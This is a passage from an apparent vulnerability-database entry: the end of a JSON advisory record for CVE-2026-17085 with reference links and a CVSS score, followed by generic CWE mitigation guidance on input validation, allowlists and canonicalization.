      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17085"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7295635"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7295637"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-44
Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

No CAPEC attack patterns related to this CWE.